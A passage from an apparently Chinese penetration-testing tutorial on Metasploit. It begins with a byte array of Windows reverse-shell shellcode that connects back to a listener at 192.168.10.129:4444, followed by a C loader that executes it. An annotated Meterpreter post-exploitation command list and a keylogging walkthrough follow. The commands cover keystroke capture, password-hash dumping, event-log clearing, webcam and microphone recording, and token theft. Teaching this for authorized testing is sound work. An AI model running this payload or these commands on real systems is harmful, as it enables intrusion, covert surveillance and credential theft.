"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"

"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"

"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"

"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"

"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"

"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"

"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"

"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"

"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"

"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"

"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x0a\x81\x68\x02"

"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"

"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"

"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"

"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"

"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"

"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"

"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"

"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"

"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"

"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"

"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";





int main()

{

printf("Size = %d\n", strlen(shellcode));









system("PAUSE");

((void (*)())shellcode)(); #执行shellcode

return 0;

}





客户端计算机执行shellcode后,会向监听服务器端反弹shell,如图324所示。



图324监听服务器端获取客户端计算机反弹shell


Metasploit Framework渗透测试框架中的msfconsole监听服务器端获取反弹shell后,可在shell终端中调用各种后渗透测试模块,进一步对目标进行测试。

3.5Meterpreter后渗透测试介绍

Metasploit Framework渗透框架的Meterpreter模块提供了许多用于后渗透测试的功能模块。例如执行sysinfo命令查看当前客户端计算机系统信息,代码如下:



meterpreter > sysinfo

Computer: LAPTOP01

OS              : Windows 10 (10.0 Build 19043).

Architecture    : x64

System Language : zh_CN

Domain          : WORKGROUP

Logged On Users : 2

Meterpreter     : x86/Windows





使用help命令查看Meterpreter模块中提供的不同类型的命令参数,如图325所示。



图325输出Meterpreter帮助信息


虽然Meterpreter模块提供了很多参数选项,但用户可以根据命令分类快速定位具体命令,使用对应命令参数完成任务。

3.5.1Meterpreter参数说明

Meterpreter后渗透模块命令的Core Command分类中提供了核心命令,命令如下:



#输出帮助信息

?              Help menu

#将当前会话置于后台运行

background        Backgrounds the current session  

bg                  Alias for background

#关闭后台运行的Meterpreter脚本

bgkill             Kills a background meterpreter script

#列举后台运行的Meterpreter脚本

bglist             Lists running background scripts

#以后台线程的方式执行Meterpreter脚本

bgrun              Executes a meterpreter script as a background thread

#显示信息或操作活跃信道

channel            Displays information or control active channels

#关闭信道

close              Closes a channel

#取消附加Meterpreter会话

detach             Detach the meterpreter session (for http/https)

#禁用Unicode编码

disable_unicode_encoding  Disables encoding of unicode strings

#启用Unicode编码

enable_unicode_encoding   Enables encoding of unicode strings

#终止Meterpreter会话

exit               Terminate the meterpreter session

#获取当前会话超时的时间数值

get_timeouts     Get the current session timeout values

#获取会话标识GUID

guid               Get the session GUID

#输出帮助信息

help               Help menu

#输出后渗透模块信息

info              Displays information about a Post module

#在当前会话中打开Ruby交互shell

irb               Open an interactive Ruby shell on the current session

#加载一个或多个Meterpreter拓展模块

load              Load one or more meterpreter extensions

#获取当前MSF ID标识后附加到会话

machine_id       Get the MSF ID of the machine attached to the session

#将服务迁移到其他进程

migrate           Migrate the server to another process

#管理跳板监听端

pivot             Manage pivot listeners








#在当前会话打开Pry调试终端

pry               Open the Pry Debugger on the current session

#终止Meterpreter会话

quit              Terminate the meterpreter session

#读取信道数据

read              Reads data from a channel

#运行文件中的命令

resource         Run the commands stored in a file

#执行一个Meterpreter脚本或后渗透测试模块

run               Executes a meterpreter script or Post module

#加密会话数据包流量

secure           (Re)Negotiate TLV packet encryption on the session

#快速切换活跃会话

sessions         Quickly switch to another session

#设置当前会话超时时间数值

set_timeouts    Set the current session timeout values

#强制Meterpreter重新建立会话连接

sleep            Force Meterpreter to go quiet, then re-establish session

#修改SSL证书配置

ssl_verify      Modify the SSL certificate verification setting

#管理数据传输机制

transport       Manage the transport mechanisms

#弃用load命令的别名

use              Deprecated alias for "load"

#获取当前会话UUID标识

uuid             Get the UUID for the current session

#向信道中写入数据

write            Writes data to a channel





Meterpreter后渗透模块命令的File System Commands分类中提供了文件操作命令,命令如下:



#声明功能注释中的本地表示运行msfconsole计算机,远程表示目标计算机



#读取并输出文件内容

cat              Read the contents of a file to the screen

#修改会话工作目录路径

cd               Change directory

#检索文件校验码

checksum        Retrieve the checksum of a file

#复制文件

cp               Copy source to destination

#删除文件

del              Delete the specified file

#列举目录,ls命令的别名

dir              List files (alias for ls)

#下载文件或目录

download        Download a file or directory








#编辑文件内容

edit              Edit a file

#输出本地工作目录路径

getlwd         Print local working directory

#输出远程工作目录路径

getwd          Print working directory

#读取本地文件内容

lcat           Read the contents of a local file to the screen

#修改本地工作目录路径

lcd            Change local working directory

#列举本地工作目录

lls            List local files

#输出本地工作目录路径

lpwd           Print local working directory

#列举远程目录文件

ls             List files

#创建远程目录

mkdir          Make directory

#移动远程目录或文件

mv             Move source to destination

#列举远程工作目录

pwd            Print working directory

#删除远程工作目录下的具体文件

rm             Delete the specified file

#删除远程工作目录下的具体目录

rmdir          Remove directory

#查找远程文件路径

search         Search for files

#显示当前挂载点

show_mount    List all mount points/logical drives

#将文件或目录上传到远程

upload        Upload a file or directory





Meterpreter后渗透模块命令的Networking Commands分类中提供了网络配置命令,命令如下:



#输出ARP缓存表信息

arp            Display the host ARP cache

#输出当前代理配置信息

getproxy      Display the current proxy configuration

#输出网络配置信息

ifconfig      Display interfaces

ipconfig      Display interfaces

#输出网路连接信息

netstat       Display the network connections

#端口重定向

portfwd       Forward a local port to a remote service

#解析主机名








resolve       Resolve a set of host names on the target

#查看和修改路由表

route          View and modify the routing table





Meterpreter后渗透模块命令的System Commands分类中提供了系统配置命令,命令如下:



#清除系统事件日志记录

clearev                Clear the event log

#清除所有模拟会话令牌

drop_token            Relinquishes any active impersonation token.

#远程执行系统命令

execute                Execute a command

#获取一个或多个系统环境变量值

getenv                 Get one or more environment variable values

#获取当前进程标识符

getpid                 Get the current process identifier

#尝试在当前进程中提升权限

getprivs               Attempt to enable all privileges available to the current process

#获取当前用户SID

getsid                 Get the SID of the user that the server is running as

#获取当前用户

getuid                 Get the user that the server is running as

#终止进程

kill                    Terminate a process

#输出目标系统本地日期和时间

localtime              Displays the target system local date and time

#使用名称筛选进程

pgrep                   Filter processes by name

#使用名称终止进程

pkill                   Terminate processes by name

#列举运行的进程信息

ps                       List running processes

#重启目标计算机

reboot                  Reboots the remote computer

#修改目标计算机注册表信息

reg                      Modify and interact with the remote registry

#在目标计算机中调用RevertToSelf函数

rev2self                Calls RevertToSelf() on the remote machine

#进入目标计算机的shell命令终端

shell                    Drop into a system command shell

#关闭目标计算机

shutdown                Shuts down the remote computer

#尝试窃取目标计算机的会话模拟令牌

steal_token             Attempts to steal an impersonation token from the target process

#暂停或恢复进程

suspend                 Suspends or resumes a list of processes

#输出目标计算机的系统信息

sysinfo                 Gets information about the remote system, such as OS





Meterpreter后渗透模块命令的User Interface Commands分类中提供了用户接口配置命令,命令如下: 



#列举可以访问的目标计算机桌面和Windows工作站

enumdesktops        List all accessible desktops and window stations

#获取当前Meterpreter目标计算机桌面

getdesktop          Get the current meterpreter desktop

#获取目标计算机idle时间

idletime             Returns the number of seconds the remote user has been idle

#将键盘敲键发送到目标计算机

keyboard_send       Send keystrokes

#将键盘事件发送到目标计算机

keyevent             Send key events

#获取键盘敲击记录缓冲区信息

keyscan_dump            Dump the keystroke buffer

#开启键盘记录程序

keyscan_start           Start capturing keystrokes

#关闭键盘记录程序

keyscan_stop            Stop capturing keystrokes

#将鼠标事件发送到目标服务器

mouse                     Send mouse events

#实时查看远程目标服务器桌面

screenshare              Watch the remote user desktop in real time

#抓取交互桌面的快照

screenshot               Grab a screenshot of the interactive desktop

#切换Meterpreter桌面

setdesktop               Change the meterpreters current desktop

#操作并控制用户接口组件

uictl                     Control some of the user interface components





Meterpreter后渗透模块命令的Webcam Commands分类中提供了话筒和摄像头配置命令,命令如下:



#使用默认话筒记录声音

record_mic            Record audio from the default microphone for X seconds

#启用视频聊天

webcam_chat           Start a video chat

#列举摄像头

webcam_list           List webcams

#使用摄像头拍照

webcam_snap           Take a snapshot from the specified webcam

#播放视频

webcam_stream         Play a video stream from the specified webcam





Meterpreter后渗透模块命令的Audio Output Commands分类中提供了声频播放命令,命令如下: 



#在目标计算机播放声频文件

play                   play a waveform audio file (.wav) on the target system





其他Meterpreter后渗透模块命令提供的各种功能,命令如下:



#在目标计算机中提升shell权限

getsystem         Attempt to elevate your privilege to that of local system.

#抓取SAM数据库中的用户哈希值

hashdump          Dumps the contents of the SAM database

#操作文件属性

timestomp     Manipulate file MACE attributes





3.5.2Meterpreter键盘记录案例

Meterpreter模块中用于键盘记录的参数有keyscan_start、keyscan_dump、keyscan_stop共3个参数,使用固定顺序执行参数即可记录目标计算机键盘按键顺序。

首先,使用keyscan_start开启键盘记录功能模块,如图326所示。



图326开启键盘记录功能模块


在开启键盘记录的嗅探后,目标计算机中输入的内容会存储在键盘记录缓存区。执行keyscan_dump命令可以抓取键盘记录缓存区数据,如图327所示。



图327抓取键盘记录缓存区数据


获取键盘记录缓冲区数据后,分析结果,可能会找到键盘记录中存在的敏感信息。默认情况下,键盘记录嗅探功能一直处于开启状态。只有执行keyscan_stop命令才可以关闭键盘嗅探功能,如图328所示。



图328关闭键盘记录嗅探功能



本章中仅介绍了Metasploit Framework渗透测试框架的基础使用方法,感兴趣的读者可以查阅资料深入学习。